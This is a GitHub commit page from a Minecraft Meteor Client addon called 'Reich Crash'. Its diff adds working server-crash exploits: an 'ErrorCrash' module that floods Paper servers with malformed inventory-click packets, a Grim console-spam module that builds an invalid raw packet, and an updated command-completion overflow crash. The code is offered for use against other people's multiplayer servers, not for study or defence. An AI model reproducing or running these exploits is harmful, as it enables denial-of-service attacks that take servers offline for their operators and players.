Skip to content
This repository has been archived by the owner on Apr 11, 2024. It is now read-only.

Commit

Permalink
update 1.1.0! remove completioncrash fps0! added error crash and work…
Browse files Browse the repository at this point in the history
…ing grim crash
  • Loading branch information
strictpvp committed Feb 28, 2024
1 parent 0fe93f7 commit a279651
Show file tree
Hide file tree
Showing 7 changed files with 131 additions and 53 deletions.
2 changes: 1 addition & 1 deletion gradle.properties
Original file line number Diff line number Diff line change
Expand Up @@ -6,7 +6,7 @@ yarn_mappings=1.20.4+build.2
loader_version=0.15.1

# Mod Properties
mod_version=0.1.0
mod_version=1.1.0
maven_group=me.reich
archives_base_name=reich-crash

Expand Down
4 changes: 2 additions & 2 deletions src/main/java/me/reich/crash/Crash.java
Original file line number Diff line number Diff line change
Expand Up @@ -2,9 +2,9 @@

import me.reich.crash.modules.CompletionCrash;
import com.mojang.logging.LogUtils;
import me.reich.crash.modules.ErrorCrash;
import me.reich.crash.utils.Hwid;
import meteordevelopment.meteorclient.addons.MeteorAddon;
import meteordevelopment.meteorclient.systems.hud.HudGroup;
import meteordevelopment.meteorclient.systems.modules.Category;
import meteordevelopment.meteorclient.systems.modules.Modules;
import org.slf4j.Logger;
Expand All @@ -13,7 +13,6 @@ public class Crash extends MeteorAddon {
public static final Logger LOG = LogUtils.getLogger();
public static final Category CATEGORY = new Category("ReichCrash");
public static final Category UTILCATEGORY = new Category("ReichUtils");
public static final HudGroup HUD_GROUP = new HudGroup("ReichCrash");
public static final String NAME = "ReichCrash";


Expand All @@ -31,6 +30,7 @@ public void onInitialize() {

// Modules
Modules.get().add(new CompletionCrash());
Modules.get().add(new ErrorCrash());
}

@Override
Expand Down
3 changes: 1 addition & 2 deletions src/main/java/me/reich/crash/modules/CompletionCrash.java
Original file line number Diff line number Diff line change
Expand Up @@ -68,13 +68,12 @@ public void onActivate(){
}

@EventHandler
public void onTick(TickEvent.Pre tickEvent) throws InterruptedException {
public void onTick(TickEvent.Pre tickEvent) {
if(messageIndex == knownWorkingMessages.length - 1) {
if(isActive()) toggle();
messageIndex = 0;
return;
}
Thread.sleep(1000);
String knownMessage = knownWorkingMessages[messageIndex] + nbtExecutor;
int len = 2044 - knownMessage.length();
String overflow = generateJsonObject(len);
Expand Down
60 changes: 60 additions & 0 deletions src/main/java/me/reich/crash/modules/ErrorCrash.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,60 @@
package me.reich.crash.modules;

import it.unimi.dsi.fastutil.ints.Int2ObjectArrayMap;
import me.reich.crash.Crash;
import meteordevelopment.meteorclient.events.game.GameLeftEvent;
import meteordevelopment.meteorclient.events.world.TickEvent;
import meteordevelopment.meteorclient.settings.*;
import meteordevelopment.meteorclient.systems.modules.Module;
import meteordevelopment.orbit.EventHandler;
import net.minecraft.item.ItemStack;
import net.minecraft.item.Items;
import net.minecraft.network.packet.c2s.play.ClickSlotC2SPacket;
import net.minecraft.screen.slot.SlotActionType;

public class ErrorCrash extends Module {
private final SettingGroup sgGeneral = settings.getDefaultGroup();

private final Setting<Integer> packets = sgGeneral.add(new IntSetting.Builder()
.name("Packets")
.description("How many packets to send to the server.")
.defaultValue(6)
.sliderRange(1, 40)
.build());

private final Setting<Boolean> autoDisable = sgGeneral.add(new BoolSetting.Builder()
.name("Auto Disable")
.description("Disables module on kick.")
.defaultValue(true)
.build());

public ErrorCrash() {
super(Crash.CATEGORY, "Paper Error Crash", "works on 1.19.4~1.20.2");
}

@EventHandler
public void onTick(TickEvent.Pre tickEvent) {
var handler = mc.player.currentScreenHandler;
Int2ObjectArrayMap<ItemStack> itemMap = new Int2ObjectArrayMap<>();
itemMap.put(0, new ItemStack(Items.ACACIA_BOAT, 1));
for (int i = 0; i < packets.get(); i++) {
mc.player.networkHandler.sendPacket(
new ClickSlotC2SPacket(
handler.syncId,
handler.getRevision(),
36,
-1,
SlotActionType.SWAP,
handler.getCursorStack().copy(),
itemMap
)
);
}

}

@EventHandler
private void onGameLeft(GameLeftEvent event) {
if (autoDisable.get()) toggle();
}
}
65 changes: 65 additions & 0 deletions src/main/java/me/reich/crash/modules/GrimConsoleSpammer.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,65 @@
package me.reich.crash.modules;

import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import io.netty.channel.ChannelHandlerContext;
import me.reich.crash.Crash;
import meteordevelopment.meteorclient.events.game.GameLeftEvent;
import meteordevelopment.meteorclient.events.world.TickEvent;
import meteordevelopment.meteorclient.settings.BoolSetting;
import meteordevelopment.meteorclient.settings.IntSetting;
import meteordevelopment.meteorclient.settings.Setting;
import meteordevelopment.meteorclient.settings.SettingGroup;
import meteordevelopment.meteorclient.systems.modules.Category;
import meteordevelopment.meteorclient.systems.modules.Module;
import meteordevelopment.orbit.EventHandler;
import net.minecraft.network.ClientConnection;
import net.minecraft.network.packet.Packet;

import java.util.stream.IntStream;

public class GrimConsoleSpammer extends Module {
private final SettingGroup sgGeneral = settings.getDefaultGroup();

private final Setting<Integer> packets = sgGeneral.add(new IntSetting.Builder()
.name("Packets")
.description("How many packets to send to the server.")
.defaultValue(6)
.sliderRange(1, 40)
.build());

private final Setting<Boolean> autoDisable = sgGeneral.add(new BoolSetting.Builder()
.name("Auto Disable")
.description("Disables module on kick.")
.defaultValue(true)
.build());

public GrimConsoleSpammer() {
super(Crash.CATEGORY, "Paper Error Crash", "works on 1.19.4~1.20.2");
}

private static final int INVALID_PACKET_ID = 7;
private static final byte[] DATA = new byte[]{INVALID_PACKET_ID, 0, -49, -24, 11, 6, 0, 0};

@Override
public void onActivate() {
if (mc.isIntegratedServerRunning()) {
toggle();
error("§cYou can't use this module in singleplayer.");
return;
}
}

@EventHandler
public void onTick(TickEvent.Pre tickEvent) {
for (int i = 0; i < packets.get(); i++) {
ByteBuf packetBuffer = Unpooled.wrappedBuffer(DATA);
//mc.player.networkHandler.connection.channel.pipeline().firstContext().writeAndFlush(packetBuffer);
}
}

@EventHandler
private void onGameLeft(GameLeftEvent event) {
if (autoDisable.get()) toggle();
}
}
46 changes: 0 additions & 46 deletions src/main/java/me/reich/crash/modules/TestCrash.java

This file was deleted.

4 changes: 2 additions & 2 deletions src/main/resources/fabric.mod.json
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
{
"schemaVersion": 1,
"id": "reich-crash",
"version": "1.0.0-Alpha",
"version": "${version}",
"name": "Reich Crash",
"description": "Crash Addon For Meteor",
"authors": [
Expand All @@ -27,7 +27,7 @@
},
"depends": {
"java": ">=17",
"minecraft": ">=1.20.1",
"minecraft": ">=1.20.4",
"meteor-client": "*"
}
}

0 comments on commit a279651

Please sign in to comment.